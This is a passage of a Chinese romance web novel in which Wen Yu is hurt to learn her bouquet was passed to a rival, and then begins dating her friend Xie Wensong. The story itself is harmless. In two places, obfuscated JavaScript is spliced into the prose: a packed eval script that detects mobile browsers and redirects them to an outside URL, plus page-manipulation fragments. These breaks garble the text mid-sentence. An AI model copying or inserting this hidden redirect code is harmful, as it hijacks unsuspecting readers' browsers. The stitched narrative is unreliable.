时间迫近零点,窗外的烟花声越来越响,谢闻颂把手机扔在一边,偏头看窗外缤纷的烟火。 没有光投射进来的瞳孔被霎时烟火的光芒燃亮,他手机里是乔若琳和谢景舟定时发来的新年快乐,夫妻二人还给他发了个红包。 虽然他早已不是需要讨要红包的年纪,可是这份始终具有守护他那颗童心的表达,并不过时,甚至称得上浪漫。 温遇之前说过他很好。 他很好也并不是天生就好,人的成长从不是一时而成,而是他所处的环境始终有温柔包裹,不管是父母,还是她,亦或是其他知心朋友。 是他们共同施了魔法,才会让谢闻颂这个人变得好。 人的内核,需要自己坚定,也需要身边人肯定,方能坚硬。 谢闻颂感觉身边有人凑过来,偏头看,正是穿着毛绒睡衣的温遇。 刚吹过的头发还打着卷儿,微微蓬乱的发丝因为摩擦蹭到他袖管的衣料上。 一两丝穿过织孔刺到皮肤上。 不经意间的勾缠最磨人。 “刚才眼神示意我过来干嘛。”温遇揉揉眼睛,“是要一起守岁吗?” 谢闻颂低笑了声,“你这么困怎么守夜?你比夜都先睡着。” “……” 温遇鼓了鼓脸颊。 这人就不能好好说话吗? 刚想反驳,温遇看到谢闻颂伸过来的手。 也不知道谢闻颂从哪变出来个红包,连同一个包装精美的丝绒盒子一起递给她。 他身后是烟火绽放,一声一声升空炸开的声音被玻璃滤过一层传至耳内,可惜也掩盖不住怦怦心跳声。 黑暗之中的对视,让温遇想起酒店那天晚上手指生涩的碰触。 这种借助黑暗把脆弱心绪袒露出来的时刻,以前温遇都是自己一个人捱过。 现在,好像身边多了个人共享这样的心情。 很奇妙,也很复杂。 奇怪,谢闻颂也不是刚刚才和她认识,为什么现在才察觉? 温遇再想,她又为什么总是在这种时候,一边发自内心感喟该死的浪漫,一边控制不了心脏过度的收缩。 这些思绪以极快的速度飘过去,她甚至连眼神都来不及变化,就听见谢闻颂说。 “温鱼鱼,新年快乐。” 嘭一下。 礼花筒被人拉响,彩色塑料条飞满天。 那感觉。 大抵是有人在她心里放烟花了吧。 40.荔枝 40/ 谢闻颂打算初三早晨就返回南川,这次温遇倒是在他出发前醒了,只是谢闻颂没让她送,说外面太冷。 温遇送他到单元楼门口,男人转身时脖子上松散圈着的围巾隐隐有往下掉的趋势,还没等她提醒,他已经抬手捏起一端重新绕了圈。 “就送到这吧。”谢闻颂知道怎么拿捏她,调侃道,“知道你舍不得我了。” “谁舍不得你。”温遇强忍着想对他翻白眼的冲动,顶嘴道:“我过几天也回去了,到时候自然能见到。” 言外之意,这几天而已,还会舍不得? 谢闻颂稍微歪了歪脑袋,无比清楚这是作为公主的傲娇,不在意笑了下,然后拖着行李箱往外走,背对着她挥挥手。 “我在南川等你。” 温遇站在原地,直到那抹落拓背影彻底消失在眼前,拖鞋里的脚趾因为突然钻进来的冷气微微蜷起。 她头低垂,隔着拖鞋注视乱动的脚趾,半晌才别扭吐出一句。 “到底是谁等谁啊。” - 聚会定在初六,温遇初五中午回家的,正好还有时间给家里做个大扫除。 原本程以桉晚上想喊她出来玩,只是温遇给家里打扫干净之后已经累到不想动弹,反正明天也能见到,便也不急于非得今晚见。 在衣柜翻了一圈,温遇把初秋时新买的红丝绒质感长裙翻出来水洗一遍,怕明天晾不干又用了烘干机,最后用熨斗烫平裙摆。 晚上没熬夜,她第二天早晨起的时候时间还早。 上午的时间归自己利用,温遇想想又拆了盒拼图,这次拆的是《城市之光》,足足有一千片。 刚拆完就后悔了,因为她也不知道自己什么时候才能拼完。 费了半天劲才把最外一圈的框架拼好,温遇瞅了眼时间,提早开始换衣服化妆。 聚会地点在春茶,程以桉顺道过来接她,两个人一起去。 温遇一上车,程以桉便从她身上看出些许外露的“疲惫”,直啧啧∶“有人相爱,有人看海,有人七八个闹钟醒不来,说的是你吧。” “……” 温遇单手撑起额头:“出发前拆了盒一千块的拼图,拼那个来着。” 程以桉毫不犹豫竖个大拇指给她:“你真是狠人,超过四十块的拼图在我眼里就是恐怖级别。” “还得是你,温大勇士。有你这样的毅力,做什么都会成功的。” “……”温遇露出抹标准假笑,“谢谢哈。” 同时她在心里决定,下次再拼拼图的时候,死也要给程以桉拽过来。 发誓一定要帮她克服拼图恐惧。 - 她们到的时候,包厢里的东西基本都准备齐全,酒水饮料蛋糕点心一应俱全,包厢挺大,零零散散大概有十几人。有些温遇不太认识,程以桉也不是自来熟的性格,姐妹俩便找个舒服的小角落吃吃喝喝。 吃喝间隙,程以桉看上了温遇的光腿神器,抽空还要个链接。 温遇午饭没吃什么,但她也不太习惯用零食填饱肚子,只是不让自己太饿就没再进食。 不出意外,陆星桓是和季霖菲一起来的,两个人刚进来受到的瞩目,温遇作为一个外人都能看出来。 心情没什么起伏,只是他们后面还跟进来个女孩,温遇瞅见她时才微微愣了下。 陆繁笙,没想到今天她也来了。 陆星桓的这个妹妹可以说是真正意义上的掌上明珠,说是当时陆妈妈生她时费挺大劲,在产房里熬了十几个小时才生下来这个孩子。 而陆星桓确实也将这个妹妹保护得很好,在圈子里也挺出名。陆繁笙一向不怎么参加这样的聚会,没想到今天却来了。 温遇对和自己没多大关系的人和事并不太在意,只是看了眼便低头看自己的手机屏幕。 程以桉刚说要去SPA,问她去不去。 温遇想了想还是选择拒绝,刚才谢闻颂给她发消息问她在哪,她突然联想到自己留在家的那幅拼图。 如果有谢闻颂在的话,拼起来应该不会太难吧。 这么想着,她把春茶的地址发给谢闻颂,紧接着和他说起拼图的事。 他说有时间,今晚可以一起拼。 达到自己的目的,温遇自然挺开心。 所以刚才程以桉问她时,温遇怕做SPA不能及时回复他消息,便自己一个人留在了包厢内。 正低头无意识划拉和谢闻颂之前的聊天记录,头顶传来一道柔和的女声:“你好,我可以坐这里吗?” 温遇抬头,陆繁笙正和她说话,此时正指着之前程以桉坐的位置问她。 “可以。”温遇往边上挪挪位置,顺带手锁掉屏幕。 她和陆繁笙之前并没有什么交集,今天算是第一次对话,对方语气和缓,没有半点溺爱养成的骄横,应该是个挺好相处的人。 什么也不说干坐着有点尴尬,温遇看向面前的玻璃桌,只有她和程以桉刚才拿过来的甜品,还基本都给吃完了。 “你要吃点什么吗?”温遇偏头看她,主动开口,“我们可以一起去选一点。” 陆繁笙听见她说的话没拒绝,笑容仍旧维持:“好啊。” 温遇只拿了杯胡萝卜汁,吸管上还插了把小伞,陆繁笙在旁边挑低糖小蛋糕,端着餐盘往回走才看到温遇手里就一杯胡萝卜汁。 “你不饿吗?”她问。 温遇抿抿唇:“我刚才吃了点,正好喝杯果汁消化一下。” 陆繁笙立刻明白过来,刚才温遇说的“一起去选点”应该只是陪她的说辞。 这样润物细无声的关心,她也很难不被这些小细节戳中,看向温遇的目光里多几分真诚。 她们刚坐下没多长时间,陆星桓来找妹妹,视线往旁边一扫,注意到正低头喝果汁的温遇。 “你们在一起啊。”陆星桓微微有些差异,“这是,已经认识了?” 陆繁笙嘴里含着小蛋糕,听到这句突然惊醒,连忙看向温遇:“对了!我还不知道你的名字呢?” 陆星桓站在旁边笑出了声。 温遇也忍俊不禁,伸手比划了一下:“温遇,温度的温,遇见的遇。” 陆繁笙主动伸出手:“陆繁笙。” 还没等她说出自己名字的音对应是哪个字时,温遇开口说她知道。 陆繁笙微微有些惊奇,脱口而出问她你是怎么知道的。 温遇视线给到旁边的陆星桓,她立刻反应过来,以为是哥哥来找自己的时候暴露了。 其实不然。 温遇将目光轻轻落下。 她挺早的时候,就已经知道。 其实刚才的眼神,也代表另一种意思。 只是陆繁笙不可能懂。 陆星桓坐在旁边的沙发上低头看手机,陆繁笙想起什么似的偏头和他讲:“哥,你别忘记给菲菲姐订花,就订你回国那天浅蓝色雪梨纸包的那束就行,她上次说那束做成干花很好看。” 温遇很清楚听到这句,然后意识到什么猛然抬头,眼神落到陆星桓身上。 心中的震惊牵连指尖过电般地发麻。 浅蓝色雪梨纸花束,是陆星桓回国那天她送的。 在Nocturnal的室外停车场,她亲自交到陆星桓手里的。 可现在陆繁笙说,那束花被他送给了季霖菲。 陆星桓看到温遇投来的眼神,自然也知道那束花是她送的。 当时他放在副驾驶,去接季霖菲的时候刚好被她看到,季霖菲一向喜欢亲手制作干花。 她以为那是陆星桓买给自己的,下车的时候就给带走了。 陆星桓见她喜欢,也没有多说什么,一束花放在他这只会逐渐枯萎被清理掉,给季霖菲好歹不会被浪费。 只是这事过了几个月后突然被重提,还是在送他花的人面前提起,难免有些尴尬。 温遇看了他一眼便重新移开视线,只是置于裙边的手却无声攥紧。 口腔里残余的胡萝卜汁后味发苦,温遇感觉眼旁两侧的太阳穴直突突地跳。 细微刺痛沿心脏外血管向上攀爬,热闹的包厢里,温遇找了个机会离开这,一路踩云朵般到走廊尽头的洗手间。 双手撑在冰冷的台面上,她呼吸有些急促,拧开水龙头,冰凉的水从指缝漏下,哗哗声似乎在与心底的喧闹疯狂叫嚣。 擦干净手,温遇深吸口气,想提前离开这里,手机刚掏出来,眼前走过来一道人影。 温遇下意识避开,却发现面前的人没挪步。 她抬头,和季霖菲对上眼。 明星和普通人仿佛存在于两个图层,季霖菲墨镜下的那张巴掌脸相当动人,唇色红艳张扬但不俗气。 温遇刚才洗手的时候看到镜子里的自己,唇色早已淡下来,甚至连原本口红的颜色都看不出来,现在估计脸色也不会太好看。 季霖菲挽唇,墨镜后的双眼弯起。 “抱歉,可以耽误你一点时间吗,我想和你说说话。” …… 季霖菲找了个小包间,温遇跟在她后面。 “坐。”季霖菲从冰箱里拿了罐蜂蜜酸奶放在温遇面前,“这个挺好吃的,可以尝尝看。” 温遇点了下头,挖了勺放进嘴里,蜂蜜清香甜不过腻,和酸奶中和起来的味道很好。 “你喜欢陆星桓吗?” 季霖菲问这句话时,温遇拿勺的手狠狠抖了一下。 见温遇是这个反应,季霖菲解释道:“我没有质问你的意思,只是刚才星桓和我说当时那束花是你送给他了,却被我给拿了,很抱歉。” “我在这里和你道歉。” 温遇抬头看她,状态和刚才无异,甚至还笑了下:“没关系的,是我该说对不起,还要因为这件事让你们烦恼了。” 她说完这句话,双方之间陷入沉默。 季霖菲叹了口气坐到她边上,从手机里翻出相册:“那些花朵没有浪费,最后都被我做成干花放起来了,你看我还存了照片。” 温遇看到她屏幕上精致的干花,眼神似乎和花瓣产生共鸣。 那是她当时在花店一朵一朵挑的。 季霖菲见她低眉顺眼的模样,收回手机,将语气放得很轻:“小妹妹,我不希望这成为你的心结。” “我能看出来你是个很细腻的姑娘,陆星桓说你挺安静内敛,高中时候成绩很好。” 季霖菲似乎有点遗憾:“可惜我那个时候已经毕业了,并没来得及认识你。” 温遇没想到陆星桓会在她面前提起自己,更没想到季霖菲是她的高中学姐。 感慨完,她挺认真和温遇谈起感情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可“不是她的玩偶”这六个字,又如此伤人。 温遇鼻腔控制不住的发酸。 大二那年寒假,她听说陆星桓回国休息几天,打算去南川大学找程以灏。 申请到当天南大的入校参观名额,温遇登上校内咖啡厅的三层,这里是天台,堆着一些平时用不到的杂物,在转角,她看见正在抽烟的陆星桓。 她第一次做那么大胆的事,那天下了小雨,不太留情地淋湿他外套。 温遇鼓起勇气喊了声他的名字。 然后自然而然地借助所谓巧合开始叙旧。 聊天间,她问起他为什么要抽烟。 陆星桓不太在意地用手背擦擦皮夹克上的水渍,只说了一句话:“温遇,人是会长大的。” 时至今日,她也想说。 她一直都在长大,只是他没看见而已。 其实她也不是没有勇气说出那份喜欢,只是她一开始看得很清,陆星桓这样的人,对身边人基本都差不多,出于家教施以克制的关心就已经是很好了。 只是有些小细节,是他都没发现的戳人。 温遇也是被掀起涟漪后,才后知后觉反应过来,这并不是他对人的特殊。 但还是会觉得他很好。 这样以为的人,她不是第一个,也必定不是最后一个。 所以,她就远远看一眼就好了。 远远的,把自己的祝福点亮,然后将过往心事全都焚藏。 这份喜欢,他不必知道。 她也不必倾诉。 过往种种,或开心或喜悦或感动,都将画上休止符。 遗憾是一条填不平的路,那便不再往下续写。 话题就这样在沉默中走向结束。 季霖菲说会替她保守秘密,于是再也不会有下一个人知道。 喷泉水声响彻耳畔,将刚刚发散的思维重新拉回。 红丝绒裙没有兜,所以温遇暴露在外的双手基本已经冻僵。 她尝试活动了下手指,发麻的感觉接踵而至。 可是比手还凉的,是她的脸。 还没等手向上触摸,温遇听见身后有人在喊她。 “温鱼鱼。” “你能不能,回头看我一眼。” 刚想问他为什么在这里,温遇这才想起谢闻颂说要来接她这件事。 听到熟悉的声音,她急忙转头,却忘记眼角还有泪。 也就是这一瞬间的巧合,让温遇在看到谢闻颂的那一瞬间,眼泪正好掉下来。 没有掉到地上,被他的眼神接住。 几步开外,谢闻颂的眼神并没有被灯光沾染,反而愈发幽深如邃。 他摘下自己的围巾,几步上前一圈圈给温遇围上。 而此时的她丢盔卸甲,为一身不曾有过的伤慌乱,他认真包扎,负责接住她所有下坠的情绪。 青春懵懂时,他问她:“谢荔枝到底要对你有多好,是不是要一直把你当公主对待才是对你好?” 他好像,从未食言。 温遇看见对面的谢闻颂握住她的手,放进自己残有余温的口袋里,声音很轻。 “天太冷。” “我们回家。” 41.荔枝 41/ 返程的路上,谢闻颂一度以为温遇是不是睡着了。 因为温遇自从上车以后就没什么动静,像只慵懒的猫一样窝在那。 他来接温遇之前就已经把车里的暖风打开,谢闻颂也不知是不是开太久的原因,吹得他脸好热。 心也好热。 不知道温遇在春茶里经历了什么,这一路上她都没怎么说话。 往常再不想说话也没安静成这样。 这样的情况,谢闻颂觉得她肯定是受委屈了,或者心里想着很难过的事,但又不想说,只能暂时先把自己封闭起来。 刚才在春茶门口,她明显是哭过。 凑近碰温遇手时,谢闻颂看见她被泪水打湿的睫毛还没干,像翅膀濡湿,艰难振翅而飞的蝴蝶。 他知道温遇很少哭,所以一旦他窥见她脆弱的一面,就会极其难过。 遗憾自己不是她最亲密的人,只能帮她挡雨,却没办法真正捂热她的心。 又一个红绿灯,谢闻颂往副驾驶的位置瞥了眼,温遇正低头看手机,长发挡住她侧脸,看不清表情。 也不知道她是不是误触语音条,手机音量还不小,对面人的话刚好清楚响彻在车里。 “我靠啊,我这边刚做完SPA回去,正好撞见陆星桓向季霖菲求婚了!” 对面明显是程以桉的声音。 温遇手机的音量事先没有调,所以当点开语音条的那一瞬间,她就知道谢闻颂肯定会听见。 心里想着他听见应该也没什么。 只是没想到是这样的内容。 怪不得刚才陆繁笙让她哥记得给季霖菲订花。 原来聚会上还安排了求婚这一环节。 温遇此刻也不得不感到庆幸,还好自己已经离开,不曾亲眼见证这一幕。 毕竟她没办法顶着这样糟糕的心情,目睹这场备受瞩目的求婚。 语音被谢闻颂听见,温遇也没多大的反应,只是打字回复程以桉,仿佛刚才的事并没有发生。 车里的气氛因为这句话微微凝滞。 等红灯的间隙,谢闻颂的声音从旁边传来。 “你是因为这个,才哭的吗?” 温遇眼神直视挡风玻璃外的夜景,回答得没什么犹豫:“不是。” 刚才的眼泪是无意识流淌的废弃品,并不是温遇的本意。 只可惜有些生理反应总是在某种特定场合和气氛里不自主流露,她也很难控制。 这种时刻,她最不想被其他人看到。 哪怕是关系很好的朋友。 眼泪是脆弱的东西,除了自己,她想不到要交给谁保管。 谢闻颂其实还想问她那是因为什么哭,最后还是没说出口。 如果温遇不愿意告诉他,那她为了回答这个问题还要再想一个新理由回应自己。 她今天心情本来就不好,又何苦因为他的疑问多添烦恼。 驾驶座旁的窗户被谢闻颂打开一道缝,加速行驶让窗外湍急的气流吹进车里,一时间噪音很大,心脏仿佛也被安全带勒在原地,表面张力紧绷。 谢闻颂后牙槽都微微咬紧。 温遇关掉手机后,余光注意到谢闻颂顶着那张没什么表情的脸,默默给车提了点速。 高速上接连不断的高杆灯在行驶速度恒定的情况下连成一条透进车里的光帘,把谢闻颂侧脸轮廓拢得朦朦胧胧,仿若一场浮沉旧梦。 他车里放的歌一贯是轻松愉快的爵士乐,今天不一样,温遇瞟了眼,是一首还挺应景的歌。 温岚的《傻瓜》。 傻瓜,我们都一样,受了伤却不投降。 相信付出会有代价,代价只是一句傻瓜。 温遇想起刚才在春茶门口,谢闻颂看她的那个眼神,还有那句“你能不能回头看一眼。” 她闭了闭眼,放在裙面上的手指缓缓蜷起,然后再次摊开,看向掌心的脉络。 其实她也是傻瓜。 还是傻到临头的那种。 要不然怎么现在才发现。 车驶入蓝湾,谢闻颂刚将车停在地下车库,给车子熄火,右手放下来的那瞬间,柔软的触感覆盖在他的手背上。 谢闻颂愣了下才转头,温遇似乎等这个机会很久,她眼神直率到让他心脏跳动的力量一寸寸加重。 头顶只开了一半的灯,谢闻颂看着对面女孩的脸,目光一寸也不舍得移开。 他在想,这次是她先碰他的。 他不会允许温遇甩开自己的手。 谢闻颂反手扣住温遇的手腕,将她刚刚覆盖在他手背的那只手拢在掌心。 温热一点点渡给她。 温遇感觉到他力道很轻拉着自己手,没有一点桎梏感,仿佛给尽她自由。 她微垂下目光,睫毛接住几分倾落的灯光,抬眼的时候往谢闻颂那边凑近了点。 温遇看着他双眼,一字一句。 “谢闻颂,你喜欢我吗?” 你。 喜欢我吗? 那一瞬间谢闻颂是什么感觉呢? 最先排除的是慌乱,因为他对她的任何关心从没藏着掖着,所有被温遇认定为朋友的表达,里面每一分都藏了他的私心。 谢闻颂的喜欢隐晦而暧昧,像股温柔浪潮将她包裹,所以他只是在等一个温遇回头的机会。 谢闻颂想,所以现在占比最大的心情,可能就是庆幸吧。 庆幸她发现得还不晚。 也庆幸他从没放弃过对她的喜欢。 谢闻颂错开她的视线,看向他们牵在一起的手,低声笑了下。 “你终于发现了。” 不躲不避,温遇看到的只有坚定。 这一刻,该慌乱的,其实是她。 - 刚到家,温遇伸手碰开了餐厅的灯,手指勾住挎包带直接把包挂在椅子上。 回家的第一件事是踢掉脚上的小皮鞋,温遇实在是太累了,直接脱在沙发下面,整个人躺在沙发上试图恢复元气。 充电格的进度条正在一点点上涨。 谢闻颂也没想到她从进门到躺下的速度能这么快,在门口略微停顿才进来。 到别人家门口换鞋的习惯一直有,可是温遇这没有多余的拖鞋。 于是他返回隔壁把鞋换好又过来,顺手把门带上。 客厅没开灯,温遇只打开了餐厅的吊灯,灯光柔和,轻浅地往旁边沙发的位置渗。 谢闻颂弯腰,伸手把温遇刚才踢掉的鞋子提起来,又走到门口把她脱下来的鞋放好。 鞋柜门被他关上,谢闻颂重新走回沙发旁,看见侧躺在沙发上的女孩。 红色丝绒裙是方型领口的设计,荷叶边儿缝在领口处。她在沙发上蹭了半天,荷叶边都起了褶皱,脖颈上那根细细的项链斜斜挂着,伴随她呼吸上下起伏。 细碎的亮光在暗色里格外明晰。 光腿神器也在刚才被她脱掉,纤瘦的小腿裸露在外面,与红丝绒色作对比,皮肤白得惹眼。 谢闻颂见她光着脚,没忍住皱起眉:“你袜子平时收在哪?我去给你拿。” 温遇嫌落到脸侧的头发痒,伸手给拨到脑后,咕哝着:“我不穿,热。” “那我给你找条毯子盖住腿。” “不要,那个也热。” 温遇再次拒绝。 “……” “温鱼鱼。”谢闻颂半蹲下身,单臂胳膊肘搭在膝盖上,另一只手凑过去捏了下她脸颊,语气里捎了点劲:“你怎么这么娇气。” 温遇就那么侧躺着看他,暖色灯光映照谢闻颂的头发隐隐发棕,窗外寒冷的湿气仿佛分开一两缕钻进他瞳孔,形成晦暗的深色氤氲。 他就这么微歪起头看她,两个人的视线几乎处在同一水平线上。 安静的空间只有彼此。 温遇感觉脸有点烫。 “你不知道参加这种聚会有多累。”温遇错开眼瘪瘪嘴,手指勾住腰侧收腰的系带,有一搭没一搭地绕在指关节上,暗戳戳反驳,“我娇气下怎么了。” 也许是她语气太可爱,带着小孩子的执拗和纯真,又或许因为这人在他面前连反驳都让他心动到不行,谢闻颂蹲在沙发边,弯唇笑,认可她说的话。 “嗯,公主娇气一点是对的。” 温遇见他这么没原则就妥协了,总是习惯性说反话。 “谢闻颂,你能不能对我差一点啊。” 谢闻颂自然懂她的傲娇,也庆幸温遇这一面几乎都被他见证了遍。 单单想到这点,他就怎么舍得凶她。 怎么舍得对她不好。 他故意开玩笑:“那我以后不对你好了。” 肉眼可见温遇的眼神发生细微变化,似乎在确认他这句话的真假。 谢闻颂其实不太能拒绝她用那种眼神看自己。 于是故作硬气的玩笑话持续不了五秒,最后还是他先投降。 “骗你的。” 温遇被他这下弄得鼻腔又开始发酸,眼里有流动的液体蓄积,又被她一点点压下去,只是很轻吸了下鼻子。 这一晚上眼泪的频率比往常哪一天都多。 “所以。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346404|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢闻颂凑近了点注视她,声音带着诱哄,“现在公主能告诉我,今天为什么不开心吗?” 兜兜转转,他还是选择问出这个问题。 既然温遇发现自己的这份心,做到了回头那一步,那他也无需再因为各种不确定性停留在原地,复杂注视她背影。 她只需要回头这一步就好。 剩下九十九步他来走。 谢闻颂选择坦然面对自己的私心,想做被撑起的伞,承担下她一切情绪。 “就是想起了一些以前的事,一时感怀罢了。” 温遇避开他的目光向下看,像是在安慰给自己听,又或许是并不想把内心的负面情绪和盘托出。 她只是说:“已经没事了。” “嗯,那就不想了。” 谢闻颂又伸手摸了摸她的脸,顺手把她微乱的刘海整理好,动作相当轻柔:“还拼拼图吗?要不今天早点睡,明天我再来陪你拼。” 温遇也觉得今天太累,连动手指头的力气都快耗尽,于是说了声好。 谢闻颂站直身体时,温遇伸手扯住他袖口,谢闻颂感觉到她的动作,手腕绕了下将她的手自然牵住。 “怎么了?” 他以为温遇身体有哪里不舒服,在她掌心捏了捏。 “谢闻颂。”她从沙发上坐起身,裙摆垂落在沙发边缘,宛若海浪掀起的弧度。 几缕发丝贴在她侧脸,谢闻颂想起自己刚才触碰她头发的触感。 他真的很喜欢她。 连这样的细小的触碰都会记得很久。 女孩瞳孔颜色清亮,小声喊出他名字,“我们要不要试一试。” - 这一夜,温遇的睡眠质量还算不错,不知道是不是因为前一天有些累的缘故,这一觉挺沉。 沉到自然醒之后,她认真想了下昨天晚上发生的事,心情像碳酸汽水上浮的气泡,有点难形容。 昨天在车里她问谢闻颂的那句话其实带着试探,而当她说出口的瞬间,过去和他有关的零碎记忆每一帧放慢在眼前,然后凑成了她眼前的这张脸。 和以往与他相处的每个时刻都不同。 每一个瞬间,都掺杂他参与留下的标签。 被打上独属于谢闻颂的痕迹。 真正让温遇感觉复杂的,也是他毫无掩饰的承认。 他究竟喜欢了她多久,才会这样半点犹豫和遮掩都没有,坦然且干脆地承认。 这些他在今天以前,从来没通过口头的方式告诉她,而是一直在用行动。 迟钝的一直是她。 温遇盯着天花板,又环视了一圈卧室。 和刚搬进来的时候,陈设并没有太大变化。只是有些角落被她利用起来,让原本的空荡荡看起来丰富一些。 自己最喜欢的青苹果绿。 壁纸也是这个颜色。 从她刚搬进来的时候就是这样。 她眨眨眼。 似乎发现了不可思议的秘密。 慢吞吞从床上爬下来,温遇火速洗了个漱,昨晚的拼图推迟到今天晚上,谢闻颂中午发来消息说他下午不在家,估计晚上回家后来陪她。 不是温遇转述有问题。 因为谢闻颂发的消息,“陪她”属于原文引用。 看到的第一时间她是有点别扭的。 不过又有点暖。 毕竟谁不喜欢让人陪着。 还是对自己好的人。 温遇也不知道自己犯了什么毛病,看到这两个字脸就开始发烫。 心想谢闻颂这进入角色的速度也太快了吧。 朋友变恋人,温遇还得反应会儿,他已经轻车熟路上了。 新官上任还得腾出来三把火的时间呢。 这段关系演变到现在,多多少少带点奇幻成分。 温遇甚至都没敢和第三个人说。 因为她自己也不太相信,昨晚下意识扯住谢闻颂的袖口,手被他握住的瞬间,她说了试试那句话。 现在想想有点冲动了。 但好像也没有回头箭。 也只能先这样试试看。 想到这,温遇手心竟然冒起了汗。 这是平生仅有几次,她做没有什么把握的事。 放在旁边的手机响了声,她思绪突然被打断,拿起手机才发现是谢闻颂发来的。 刚才还在想的人此刻和她只隔着屏幕的距离,温遇贴着背板的手指悄然收紧。 Bigboss:核桃和一只西高地打起来了。 Bigboss:公主方便下楼帮个忙吗? 42.荔枝 42/ 事情听起来还挺紧急的,温遇只在毛绒睡衣外面裹了件羽绒服,把钥匙和手机匆忙揣兜里就赶紧下楼。 头发也没梳,凌乱地散着,遮挡眼睛就被她一股脑往后捋。 刚到楼下,温遇就看见不远处牵狗绳的某人。 口罩帽子全副武装,看起来挺保暖的。 她边往那边走边朝四周看,试图寻找谢闻颂口中的那只西高地。 只是附近除了他和核桃,并没有其他人。 “西高地呢?” 问出这句话时,温遇已经蹲下身,捧着核桃的脸左看看右看看,确定毛茸茸的小脑袋上没什么伤口,又起身,以同样的方法看谢闻颂的脸。 只不过她是凑近看的,没敢伸手。 某人应该不太想让她刚摸完小狗的手就摸他脸。 “被狗主人牵走了。” 温遇啊了声,“这么快就解决了,不是说打起来了吗?” 谢闻颂就那么看着女孩疑惑的表情,唇角因为愉悦而弯起:“它可能是觉得我给核桃买的围脖太好看了,有点喜欢。” ? 温遇满脸困惑。 “这和打架有什么关系?” “打量的‘打’也是打啊。” “……” “所以,它们只是互相看了一眼,并没打起来?” 谢闻颂口罩后的眼睛朝她眨眨,无声告诉她:是的。 温遇反应过来,见眼前人笑得不怀好意,已经基本确定是谢闻颂在捉弄她了,气焰一时上头,她伸手想掐他的腰。 但奈何外套太厚,根本掐不动。 于是温遇也不走了,就站在原地和他耗。 谢闻颂见她气得像只小河豚,毫不客气伸手捏捏她的脸:“还生气呢?” 他说着,伸出手指把口罩勾拉到下巴处,唇边弧度漾起的宠溺快要泛滥。 亲密的举动就像是一记闷锤凿向心房,温遇的心率不受控加快,却没抗拒他的动作。 谢闻颂的气息拂过来,下意识想让她偏移视线。 温遇其实已经有很长时间没有这种心跳突然因为对面人一个动作而加快的时候,仿佛少女悸动被人轻轻拾起,不知不觉重新存入她的身体。 曾经丢失的东西,很多都被谢闻颂找了回来。 她也是走到现在,才发现日记本被他折下的角。 谢闻颂的手带着狗绳轻微晃了晃,低头和小狗讲:“你妈生气了,不肯原谅我,你看看该怎么办?” 温遇蓦然睁大眼睛,脱口而出:“我什么时候成它妈妈了?” 突然多出来个儿子,她怎么不知道? 谢闻颂给她一个“除了你谁还能当它妈”的眼神。 如果眼神能多说几句,他估计还会说,你是不是不记得我们之间的关系了。 “……” 温遇突然不知道该怎么回答了。 总不能把“气”撒在小狗身上吧。 虽然这股气还没酝酿起来就已经消散在空气里。 核桃听懂了,绕着温遇打转,本意是讨好,只是身上细碎的毛全都粘到了她裤腿上。 “……” 温遇低头去看的时候已经来不及了,欲哭无泪的表情来不及带到脸上,只能把隐隐透着无助的目光投给谢闻颂。 “回家我给你洗。” 谢闻颂摸了摸她的头,“手洗。” 温遇抬头看他。 不过她明显还是没忘记刚才发生的事,不打算就此翻篇:“刚才的账还没翻过去呢,你得给我一个合理的解释。” 谢闻颂低头看她被风吹起遮挡半边脸的头发,她顺手别在耳后,只是几缕总是不听话贴在脸上,然后又被她逐一挑开。 细小的动作,再寻常不过,他都能看很久。 孩子气的认真。 认真得可爱。 她出门急,随便踩了双平底鞋就出来了,谢闻颂单手撑在膝盖上,视线与她平齐。 “就不能是我想见你找的理由吗?” …… 温遇不舍得让小狗独自在家,让谢闻颂过来拼图的时候把核桃一起带来。 核桃比他爹还积极,四条腿蹦哒着就进来了,半点犹豫也没有。 谢闻颂照旧是回家把鞋换好才过来。 温遇正坐在沙发上和核桃玩,回头一看谢闻颂站在旁边,跟尊雕像似的。 “裤子不洗了?” 温遇反应过来他说的是什么事,下意识往回收了收腿:“晚上我自己洗。” 小声嘟囔一句:“不用你洗。” 谢闻颂刚回家把外衣脱掉,口罩和帽子也顺便一起放在家里,上衣只剩了件单薄的v领羊绒衫。 温遇用余光将他从头到尾简单打量了一遍。 肩膀完全能把衣服撑起来,到腰的位置又松松垮垮往下坠,恨不得能从领口一镜到底。 脑袋里蓄积起黄色废料,温遇火速清掉,完全来不及脸红和羞耻就已经从脑海抽离。 因为那张脸,普普通通一件衣服到他身上,总是能穿出和别人完全不同的感觉。 温遇眼尖,注意到他脖子上贴了块裸色创可贴,伸手指了指:“你这怎么了?” 谢闻颂不以为意摆弄起手机,上身往沙发背一靠:“没事,前几天被拉锁划的。” “上药了吗?” 温遇这么问,已经从旁边起身,火速在家里找到小药箱,一路提到茶几上才放下。 谢闻颂没说话,只是默默坐直上半身,手机也不看了,就放在旁边。 温遇已经熟练从药箱里拿出棉签和酒精,手心蜷起夹着瓶盖:“自己能把创可贴撕下来吗?” 他声音闷闷的:“嗯。” 温遇将棉签夹在指缝间,刚转身就看见谢闻颂垂头,单手撕扯颈侧的创可贴。 边缘黏得有些紧,他就用手抠。 温遇吓一跳,连忙攥住他手指:“哪有你这么撕创可贴的。” 创可贴已经被谢闻颂撕开一个小角,温遇看了眼他伤口位置已经泛红的皮肤,深深呼出一口气。 谢闻颂似乎并没意识到什么,额发蓬松搭在眼前,见温遇没说话,微微昂起头:“怎么了?” 眼神困惑不解,像网上描述的那种湿漉小狗。 “……” 